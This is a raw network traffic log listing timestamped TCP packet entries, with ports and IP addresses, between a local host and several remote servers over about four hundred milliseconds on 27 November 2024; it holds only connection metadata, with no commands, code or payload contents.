Nov 27, 2024 16:34:45.216856003 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.220480919 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.220591068 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.220592022 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.220628023 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.224558115 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.224710941 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.268815994 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.268831968 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.268878937 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.268903971 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.270781040 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.271115065 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.331239939 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.331337929 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.331346035 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.331413984 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.332654953 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.332709074 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.332739115 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.332777977 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.335427999 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.335494995 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.336432934 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.336482048 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.336487055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.336594105 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.339154959 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.339245081 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.339286089 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.339344025 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.341861010 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.341948986 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.341981888 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.342031956 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.344577074 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.344633102 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.344640017 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.344696045 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.347171068 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.347266912 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.347286940 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.347320080 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.349704027 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.349797964 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.349817038 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.349863052 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.352286100 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.352391005 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.352534056 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.352619886 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.354836941 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.354897976 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.354963064 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.355066061 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.357495070 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.357568026 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.357579947 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.357601881 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.360013008 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.360095978 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.360136986 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.360285044 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.362524986 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.362633944 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.362638950 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.362736940 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.365113974 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.365165949 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.365211010 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.365251064 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.367695093 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.367746115 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.367811918 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.367866039 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.368948936 CET	443	49815	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.369590998 CET	49815	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.369622946 CET	443	49815	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.370675087 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.370733023 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.370793104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.370878935 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.371362925 CET	49815	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.371370077 CET	443	49815	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.372838020 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.372888088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.372919083 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.372940063 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.375346899 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.375406981 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.375474930 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.375602007 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.377939939 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.378082037 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.378082991 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.378118038 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.380469084 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.380537987 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.380573988 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.380732059 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.383064032 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.383126974 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.383172989 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.383322001 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.385626078 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.385673046 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.385726929 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.385831118 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.388232946 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.388287067 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.388437033 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.388484955 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.390649080 CET	443	49813	18.161.69.117	192.168.2.7
Nov 27, 2024 16:34:45.390701056 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.390755892 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.390770912 CET	443	49813	18.161.69.117	192.168.2.7
Nov 27, 2024 16:34:45.390779018 CET	49813	443	192.168.2.7	18.161.69.117
Nov 27, 2024 16:34:45.390827894 CET	49813	443	192.168.2.7	18.161.69.117
Nov 27, 2024 16:34:45.391401052 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.391457081 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.391504049 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.391541004 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.393639088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.393690109 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.393748999 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.393795967 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.395844936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.395896912 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.461682081 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.461796999 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.461798906 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.461842060 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.462666988 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.462714911 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.462763071 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.462850094 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.464824915 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.464870930 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.505681038 CET	443	49818	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.506273031 CET	49818	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.506285906 CET	443	49818	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.506892920 CET	49818	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.506899118 CET	443	49818	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.532530069 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.532623053 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.532707930 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.533409119 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.533493996 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.533514023 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.533605099 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.535011053 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.535082102 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.535342932 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.535439014 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.536647081 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.536690950 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.536750078 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.536787987 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.538372040 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.538420916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.538438082 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.538479090 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.539904118 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.540127993 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.540173054 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.540210962 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.541552067 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.541601896 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.541625977 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.541666031 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.543261051 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.543319941 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.543426037 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.544898033 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.544961929 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.545047045 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.546564102 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.546622038 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.546678066 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.546839952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.548227072 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.548273087 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.548441887 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.548489094 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.548672915 CET	443	49817	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.549709082 CET	49817	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.549726963 CET	443	49817	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.549791098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.549838066 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.549854040 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.549880981 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.550549030 CET	49817	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.550556898 CET	443	49817	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.551547050 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.551589966 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.551659107 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.551920891 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.553203106 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.553253889 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.553323030 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.553989887 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.554784060 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.554832935 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.554915905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.555064917 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.556483984 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.556538105 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.556607008 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.556648970 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.558094978 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.558140039 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.558284044 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.558453083 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.559699059 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.559755087 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.559772968 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.559792042 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.561397076 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.561446905 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.561579943 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.561639071 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.563304901 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.563369989 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.563409090 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.563477039 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.564990044 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.565043926 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.565046072 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.565088987 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.566672087 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.566749096 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.566920042 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.566965103 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.568176985 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.568216085 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.568496943 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.568542957 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.569602013 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.569649935 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.569679022 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.570314884 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.571245909 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.571357012 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.571404934 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.572875977 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.572962046 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.572979927 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.573007107 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.574544907 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.574625969 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.574656010 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.574697971 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.576178074 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.576324940 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.576350927 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.576365948 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.577864885 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.577940941 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.577944040 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.577979088 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.579432011 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.579480886 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.579485893 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.579520941 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.581126928 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.581207037 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.581212044 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.581259966 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.582907915 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.583029032 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.583055973 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.583106041 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.584414959 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.584461927 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.584470034 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.584502935 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.586054087 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.586129904 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.586162090 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.586249113 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.587747097 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.587835073 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.587852001 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.587908030 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.589358091 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.589412928 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.589467049 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.589518070 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.591012001 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.591072083 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.591111898 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.591150999 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.592720985 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.592787027 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.592828989 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.592860937 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.594316006 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.594362974 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.594408035 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.594446898 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.595938921 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.596003056 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.596046925 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.596230984 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.597790003 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.597831964 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.597846031 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.597865105 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.599257946 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.599304914 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.599368095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.599569082 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.600908041 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.600951910 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.601018906 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.601058006 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.602561951 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.602617025 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.602722883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.602763891 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.604198933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.604285002 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.604332924 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.605856895 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.605906010 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.605942011 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.605983973 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.607530117 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.607640028 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.607671022 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.607686996 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.609172106 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.609216928 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.609226942 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.609261036 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.610888958 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.610940933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.610940933 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.611043930 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.612423897 CET	80	49777	185.215.113.206	192.168.2.7
